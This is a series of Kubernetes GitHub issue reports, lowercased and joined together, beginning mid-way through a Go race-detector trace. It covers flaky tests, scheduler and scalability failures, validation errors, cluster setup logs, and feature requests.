\r previous read at 0x00c42050d018 by goroutine 28:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment.func1  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:254 +0xb7\r \r goroutine 26  running  created at:\r   testing.  t .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:789 +0x568\r   testing.runtests.func1  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1004 +0xa7\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r   testing.runtests  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1002 +0x521\r   testing.  m .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:921 +0x206\r   main.main  \r       k8s.io/kubernetes/pkg/volume/csi/_test/_testmain.go:88 +0x1d3\r \r goroutine 28  running  created at:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:251 +0x1185\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r ==================\r panic: send on closed channel\r \r goroutine 40  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.  fakewatcher .modify ... \r \t/home/jsafrane/project/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/watch.go:140\r k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment.func1 0xc42050cff0, 0xc42037ab00, 0xc420504740 \r \t/home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:255 +0x13b\r created by k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment\r \t/home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:251 +0x1186\r \r \r error: exit status 2\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. follow https://github.com/kubernetes/community/blob/master/contributors/devel/flaky-tests.md reproducing-unit-test-flakes to get  $gopath/bin/stress \r \r 2. compile csi unit tests into a binary:  cd pkg/volume/csi; go test -c -race \r \r 3. run the binary 500 times in parallel until it breaks:  stress -p 500 ./csi.test -v 5 -alsologtostderr . use different  -p  argument to really load your machine, it should not be idle!\r \r 4. wait. on my linux, i got 3 failures in ~1000 runs.\r \r  stress  puts stderr of failed runs into  /tmp/go-stressxxxxxxxxx .\r

failing job\r  sig-release-master-blocking gce-scale-performance  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-performance \r \r failing test\r   sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/142 \r \r triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=scalability&job=ci-kubernetes-e2e-gce-scale-performance\r \r  / /  /milestone v1.11\r @kubernetes/sig-scalability-bugs -bugs \r \r cc @jberkus @tpepper\r \r /assign @shyamjvs for triage\r

\r  currently, the webhook authorizer doesn't support selfsubjectrulesreview api. it just returns a empty list as well as an error like  webhook authorizer does not support user rule resolution . in the future, with more authorization review api imported, users are deserved to have more options on webhook authorization review.one possible solution is keeping current webhook restclient configuration model unchanged, and modify  how it requests remote auth service.\r for example:\r request a:\r when user wants to know if user \ bob\  could get pod on namespace \ ns1\ , webhook authorizer would request remote auth service like:  restclient.post  .resource \ subjectaccessreview\  .body subjectaccessreview .do  .into result  \r request b:\r when user wants to know what user \ bob\  can do on namespace \ ns1\ , webhook authoerizer would request remote auth service like:\r  restclient.post  .resource \ selfsubjectrulesreview\  .body selfsubjectrulesreview .do  .into result  \r for request a, the remote auth service would receive a request like:\r xx/xx/xx/subjectaccessreview\r for request b, the remote auth service would receive a request like:\r xx/xx/xx/selfsubjectrulesreview\r so remote auth service can split authorization requests and response them respectively.\r i think we could make this feature optional, for users who requires simple webhook authorization, just use current model. \r

what happened  :\r    \r --- fail: testpreempt  0.00s \r     --- fail: testpreempt/basic_preemption_logic  0.00s \r         generic_scheduler_test.go:1483: ===== running test testpreempt/basic_preemption_logic\r         generic_scheduler_test.go:1527: expected node: machine1, got: machine2\r         generic_scheduler_test.go:1533: expected 2 pods, got 0.\r     --- fail: testpreempt/one_node_doesn't_need_any_preemption  0.00s \r         generic_scheduler_test.go:1483: ===== running test testpreempt/one_node_doesn't_need_any_preemption\r         generic_scheduler_test.go:1527: expected node: machine3, got: machine2\r     --- fail: testpreempt/scheduler_extenders_allow_only_machine1,_otherwise_machine3_would_have_been_chosen  0.00s \r         generic_scheduler_test.go:1483: ===== running test testpreempt/scheduler_extenders_allow_only_machine1,_otherwise_machine3_would_have_been_chosen\r         generic_scheduler_test.go:1533: expected 2 pods, got 0.\r     --- fail: testpreempt/one_scheduler_extender_allows_only_machine1,_the_other_returns_error_but_ignorable._only_machine1_would_be_chosen  0.00s \r         generic_scheduler_test.go:1483: ===== running test testpreempt/one_scheduler_extender_allows_only_machine1,_the_other_returns_error_but_ignorable._only_machine1_would_be_chosen\r         generic_scheduler_test.go:1533: expected 2 pods, got 0.\r fail\r fail\tk8s.io/kubernetes/pkg/scheduler/core\t0.022s\r    \r   how to reproduce it  as minimally and precisely as possible   :\r    \r make test what=./pkg/scheduler/core kube_test_args='-run ^testpreempt$'\r    \r \r   anything else we need to know?  :\r we add fitpredicate like this and set  matches  as the key when testpreempt inits the  newgenericscheduler .\r    go\r map string algorithmpredicates.fitpredicate{\ matches\ :algorithmpredicates.podfitsresources}\r     \r https://github.com/kubernetes/kubernetes/blob/25ffbe633810609743944edd42d164cd7990071c/pkg/scheduler/core/generic_scheduler_test.go l1505-l1515\r \r but when we use fitpredicate, it will iterate through the  predicates.ordering    and check the key in  predicatefuncs . but the key of  podfitsresources  is  podfitsresources . so the func  podfitsresources  will not be used in testpreempt and logic errors are introduced.\r    \r // podfitsresourcespred defines the name of predicate podfitsresources.\r \tpodfitsresourcespred = \ podfitsresources\ \r    \r https://github.com/kubernetes/kubernetes/blob/25ffbe633810609743944edd42d164cd7990071c/pkg/scheduler/core/generic_scheduler.go l608-l622\r \r   /assign\r /cc @bsalamat\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i'm trying apply the following manifest with a gmsa specified in the securitycontext  windowsoptions :\r \r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: gmsa-deployment\r   namespace: test\r spec:\r   nodeselector:\r     beta.kubernetes.io/os: windows\r   containers:\r   - image: mcr.microsoft.com/windows/servercore:ltsc2019\r     name: servercore\r     command:  \ powershell\ , \ start-sleep\ , \ -s\ , \ 1000\  \r   securitycontext:\r     windowsoptions:\r       gmsacredentialspecname: gmsa-nweb\r       gmsacredentialspec: '<credentialspec>'\r    \r \r it fails with the error:  error: error validating \\\ /etc/kubernetes/gmsa-ds.yml\\\ : error validating data:  validationerror pod.spec.securitycontext.windowsoptions : unknown field \\\ gmsacredentialspec\\\  in io.k8s.api.core.v1.windowssecuritycontextoptions, validationerror pod.spec.securitycontext.windowsoptions : unknown field \\\ gmsacredentialspecname\\\  in io.k8s.api.core.v1.windowssecuritycontextoptions ; if you choose to ignore these errors, turn validation off with --validate=false\ , \ stderr_lines\ :  \ error: error validating \\\ /etc/kubernetes/gmsa-ds.yml\\\ : error validating data:  validationerror pod.spec.securitycontext.windowsoptions : unknown field \\\ gmsacredentialspec\\\  in io.k8s.api.core.v1.windowssecuritycontextoptions, validationerror pod.spec.securitycontext.windowsoptions : unknown field \\\ gmsacredentialspecname\\\  in io.k8s.api.core.v1.windowssecuritycontextoptions ; if you choose to ignore these errors, turn validation off with --validate=false\  \r \r   what you expected to happen  :\r the manifest to pass apiserver validation given that they appear to be valid fields - https://github.com/kubernetes/api/blob/master/core/v1/types.go l5386. \r \r   how to reproduce it  as minimally and precisely as possible   :\r enable the gmsa feature gate, set up gmsa, generate the credential spec, then apply the manifest from above.\r \r   anything else we need to know?  :\r the feature gate for windowsgmsa is enabled. \r \r if i pass the  --validate=false  flag, the properties under  windowsoptions  just get pruned so the credentialspec are not set on the in-cluster pod object, and then the kubelet is unable to set the credentials in the registry / pass them to docker.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.15.0\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r windows server 2019\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

i still see watch in the path at many places: http://kubernetes.io/third_party/swagger-ui/ !/v1beta3/watchendpointslist  i know we were working on making it a query param and removing it from the path.  @smarterclayton @bgrant0607

i clone the source   checked out the tag for alpha 1.2 v8 make release      text creating minion security group. creating security group kubernetes-minion-kubernetes. adding tag to sg-3c2bfc44: kubernetescluster=kubernetes using master security group: kubernetes-master-kubernetes sg-432bfc3b using minion security group: kubernetes-minion-kubernetes sg-3c2bfc44 generating certs for alternate-names: ip:xxx.xx.xxx.xx,ip:172.20.0.9,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:kubernetes-master ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable starting master adding tag to i-f6fff376: name=kubernetes-master adding tag to i-f6fff376: role=kubernetes-master adding tag to i-f6fff376: kubernetescluster=kubernetes waiting for master to be ready attempt 1 to check for master nodewaiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-f6fff376 to be running  currently pending  sleeping for 3 seconds...   master running  attaching ip xx.xxx.xxx.xxx to instance i-f6fff376 attaching persistent data volume  vol-72580fad  to master 2016-02-22t17:25:45.845z  /dev/sdb  i-f6fff376  attaching vol-72580fad creating minion configuration ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable ./cluster/../cluster/../cluster/aws/../../cluster/common.sh: line 420: @: unbound variable creating autoscaling group  0 minions started; waiting  0 minions started; waiting  0 minions started; waiting  2 minions started; ready waiting for cluster initialization.    this will continually check to see if the api for kubernetes is reachable.   this might loop forever if there was some uncaught error during start   up.  .................................................

the  gcloud compute instances create  and  gcloud compute instance-templates create  commands both support the flag   --image-family   https://cloud.google.com/compute/docs/images image_families , which allows creating instances with the latest image in a family. this makes it easier to update default os images as you don't have to update the hardcoded image name any more.  is this in the plan?

kubernetes version    use  kubectl version  :      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws, custom provisioned, no cloud provider selected  -   os    e.g. from /etc/os-release :       cat /etc/os-release  name=\ ubuntu\  version=\ 14.04.3 lts, trusty tahr\  id=ubuntu id_like=debian pretty_name=\ ubuntu 14.04.3 lts\  version_id=\ 14.04\  home_url=\ http://www.ubuntu.com/\  support_url=\ http://help.ubuntu.com/\  bug_report_url=\ http://bugs.launchpad.net/ubuntu/\      -   kernel    e.g.  uname -a  :      linux ip-172-32-194-167 3.13.0-74-generic  118-ubuntu smp thu dec 17 22:52:10 utc 2015 x86_64 x86_64 x86_64 gnu/linux     -   install tools  : not sure -   others  : not sure    what happened  :      kubectl --namespace=\ kube-system\  logs kubernetes-dashboard-997876578-xq58k  starting http server on port 9090 creating api server client for http://localhost:8080 error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: get http://localhost:8080/version: dial tcp  ::1 :8080: getsockopt: connection refused        what you expected to happen  : get the logs of the pod    how to reproduce it    as minimally and precisely as possible : the api server runs with:      kube-apiserver --service-cluster-ip-range=\ 10.2.0.0/16\  \\     --etcd-servers=\ http://localhost:2379\  \\     --cloud-provider=\ \     on master kubectl create -f https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml

as part of  pod safety  https://github.com/kubernetes/kubernetes/pull/34160  for  statefulsets  https://github.com/kubernetes/features/issues/137 , we ensured that  kubectl drain uses the eviction subresource  https://github.com/kubernetes/kubernetes/issues/34277  so it respects  poddisruptionbudget  https://github.com/kubernetes/features/issues/85 .\r \r unfortunately, there is no script or recommended node upgrade process  afaik  that actually uses  kubectl drain . in particular, the experimental  cluster/gce/upgrade.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/upgrade.sh  script uses gce  rolling updates  https://github.com/kubernetes/kubernetes/issues/33764  which simply terminate and recreate node vms.\r \r this issue is to track the need to provide a script or recommended process for upgrading nodes that actually respects poddisruptionbudgets, so that the guarantees made by things like statefulset actually work during upgrades.\r \r cc @kubernetes/sig-apps

kubernetes version    use  kubectl version  :\r minikube version: v0.17.1\r \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r macbook laptop\r -   os    e.g. from /etc/os-release :\r macos\r -   kernel    e.g.  uname -a  :\r darwin cli-1831 16.4.0 darwin kernel version 16.4.0: thu dec 22 22:53:21 pst 2016; root:xnu-3789.41.3~3/release_x86_64 x86_64\r -   install tools  :\r minikube 0.17.1\r -   others  :\r \r   what happened  :\r    \r mar 10 04:38:29 minikube localkube 6130 : i0310 04:38:29.225590    6130 event.go:217  event api.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 058a3ee0-045d-11e7-b4a1-da027787b657\ , apiversion:\ v1\ , resourceversion:\ 40892\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' minikube became leader\r mar 10 04:38:29 minikube localkube 6130 : i0310 04:38:29.227438    6130 replication_controller.go:219  starting rc manager\r mar 10 04:38:29 minikube localkube 6130 : panic: runtime error: invalid memory address or nil pointer dereference\r mar 10 04:38:29 minikube localkube 6130 :  signal sigsegv: segmentation violation code=0x1 addr=0x60 pc=0xdecd8d \r mar 10 04:38:29 minikube localkube 6130 : goroutine 1551  running :\r mar 10 04:38:29 minikube localkube 6130 : panic 0x3592cc0, 0xc420018030 \r mar 10 04:38:29 minikube localkube 6130 :         /usr/local/go/src/runtime/panic.go:500 +0x1a1\r mar 10 04:38:29 minikube localkube 6130 : k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apimachinery/registered.  apiregistrationmanager .restmapper 0xc420158910, 0x0, 0x0, 0x0, 0xc42106330c, 0x2 \r mar 10 04:38:29 minikube localkube 6130 :         /go/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apimachinery/registered/registered.go:313 +0x24d\r mar 10 04:38:29 minikube localkube 6130 : k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apimachinery/registered.  apiregistrationmanager .restmapper-fm 0x0, 0x0, 0x0, 0x0, 0x0 \r mar 10 04:38:29 minikube localkube 6130 :         /go/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apimachinery/registered/registered.go:106 +0x48\r mar 10 04:38:29 minikube localkube 6130 : k8s.io/minikube/vendor/k8s.io/kubernetes/cmd/kube-controller-manager/app.startcontrollers 0xc420422a00, 0xc420ee4000, 0x675a7c0, 0xc420ee4000, 0x675a7c0, 0xc420ee4000, 0xc421cd5f20, 0x6756300, 0xc420d52540, 0x3b81477, ... \r mar 10 04:38:29 minikube localkube 6130 :         /go/src/k8s.io/minikube/vendor/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:367 +0x1996\r mar 10 04:38:29 minikube localkube 6130 : k8s.io/minikube/vendor/k8s.io/kubernetes/cmd/kube-controller-manager/app.run.func2 0xc421cd5f20 \r mar 10 04:38:29 minikube localkube 6130 :         /go/src/k8s.io/minikube/vendor/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:180 +0xc4\r mar 10 04:38:29 minikube localkube 6130 : created by k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run\r mar 10 04:38:29 minikube localkube 6130 :         /go/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:150 +0x97\r mar 10 04:38:29 minikube systemd 1 : localkube.service: main process exited, code=exited, status=2/invalidargument\r mar 10 04:38:29 minikube systemd 1 : localkube.service: unit entered failed state.\r mar 10 04:38:29 minikube systemd 1 : localkube.service: failed with result 'exit-code'.\r mar 10 04:38:32 minikube systemd 1 : localkube.service: service hold-off time over, scheduling restart.\r mar 10 04:38:32 minikube systemd 1 : stopped localkube.\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r - install minikube and start it\r - clone https://github.com/atlassian/smith\r - run  make minikube-test  couple of times\r -  minikube stop  &&  minikube start \r \r watch logs for panics.\r \r should be doable against real cluster too, haven't tested.\r \r   anything else we need to know  :\r this is a copy of https://github.com/kubernetes/minikube/issues/1090 which is not getting any attention - i probably should have reported it here, not there. see it for more details and logs.

https://k8s-testgrid.appspot.com/1.6-master-upgrade gke-gci-cvm-upgrade-cluster\r    \r  k8s.io  networking should check kube-proxy urls 1m36s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=networking\\sshould\\scheck\\skube\\-proxy\\surls$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:84\r may 25 00:25:47.012: timed out in 30s: successfully executed curl -q -s --connect-timeout 1 http://localhost:10249/healthz in e2e-tests-nettest-5lfpk/host-test-container-pod, but output '404 page not found\r ' doesn't contain expected string 'ok'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:303\r    \r \r cc @dchen1107

https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/48613/pull-kubernetes-federation-e2e-gce/13405/build-log.txt\r \r pretty hard to figure out what's going wrong because there are no artifacts, despite the build log saying it fetched some.

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r /severity failing-test\r umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/251 timed out waiting for nodes to schedule:\r    \r i1130 19:56:53.592  nov 30 19:56:53.592: info: unschedulable nodes:\r i1130 19:56:53.592  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-097n ready=true network=false\r i1130 19:56:53.592  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-tpbp ready=true network=false\r i1130 19:56:53.592  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-hsqn ready=true network=false\r i1130 19:56:53.592  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-mp8t ready=true network=false\r i1130 19:56:53.592  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-rhsb ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-5zww ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-6cnb ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-q1lx ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-8cr0 ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-7x8v ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-qnbc ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-kmcp ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-frs4 ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-t5tb ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-8025 ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-h640 ready=true network=false\r i1130 19:56:53.593  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-0lp2 ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-9h9z ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-lc42 ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-g0xl ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-xl6q ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-65v9 ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-nnqh ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-4m2d ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-p0vx ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-mb2n ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-0wf0 ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-hc59 ready=true network=false\r i1130 19:56:53.594  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-dtjw ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-7jwx ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-hgm5 ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-d3n3 ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-fgr4 ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-2k9z ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-7nzn ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-g0tb ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-zt1q ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-gdcd ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-ggdn ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-33bs ready=true network=false\r i1130 19:56:53.595  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-3j4w ready=true network=false\r i1130 19:56:53.596  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-drgm ready=true network=false\r i1130 19:56:53.596  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-tg6k ready=true network=false\r i1130 19:56:53.596  nov 30 19:56:53.592: info: -> e2e-scalability-1-6-minion-group-m104 ready=true network=false\r i1130 19:56:53.596  nov 30 19:56:53.592: info: ================================\r w1130 20:01:20.616  2017/11/30 20:01:20 util.go:196: interrupt after 2h0m0s timeout during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:performance\\  --gather-resource-usage=true --gather-metrics-at-teardown=true --gather-logs-sizes=true --output-print-type=json --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true --cluster-ip-range=10.64.0.0/14. will terminate in another 15m\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r kubectl version\r    \r  root@ib17b07 ~   kubectl version\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0+icp-ee\ , gitcommit:\ 63bab888f1dbf8e3266be14305e84d9ea539bffb\ , gittreestate:\ clean\ , builddate:\ 2018-01-08t14:29:32z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0+icp-ee\ , gitcommit:\ 63bab888f1dbf8e3266be14305e84d9ea539bffb\ , gittreestate:\ clean\ , builddate:\ 2018-01-08t14:29:32z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r deployment file with  apps/v1  as apiversion.\r    \r  root@ib17b07 ~   cat nginx.yaml\r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   labels:\r     run: test-nginx\r   name: test-nginx\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: test-nginx\r   template:\r     metadata:\r       labels:\r         run: test-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: test-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r create the deployment\r    \r kubectl apply -f ./nginx.yaml\r    \r \r after deployment finished, check the deployment yaml output, it was still using \r    \r  root@ib17b07 ~   kubectl get deploy -oyaml, the apiversion was still  extensions/v1beta1 .\r apiversion: v1\r items:\r - apiversion: extensions/v1beta1\r   kind: deployment\r   metadata:\r     annotations:\r       deployment.kubernetes.io/revision: \ 1\ \r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ apps/v1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ run\ :\ test-nginx\ },\ name\ :\ test-nginx\ ,\ namespace\ :\ default\ },\ spec\ :{\ replicas\ :1,\ selector\ :{\ matchlabels\ :{\ run\ :\ test-nginx\ }},\ template\ :{\ metadata\ :{\ labels\ :{\ run\ :\ test-nginx\ }},\ spec\ :{\ containers\ : {\ image\ :\ nginx:1.8.1\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ test-nginx\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } } }}}}\r     creationtimestamp: 2018-01-11t04:15:29z\r     generation: 1\r     labels:\r       run: test-nginx\r     name: test-nginx\r     namespace: default\r     resourceversion: \ 97558\ \r     selflink: /apis/extensions/v1beta1/namespaces/default/deployments/test-nginx\r     uid: 0eb24b62-f686-11e7-9b10-3440b5c70c60\r   spec:\r     progressdeadlineseconds: 600\r     replicas: 1\r     revisionhistorylimit: 10\r     selector:\r       matchlabels:\r         run: test-nginx\r     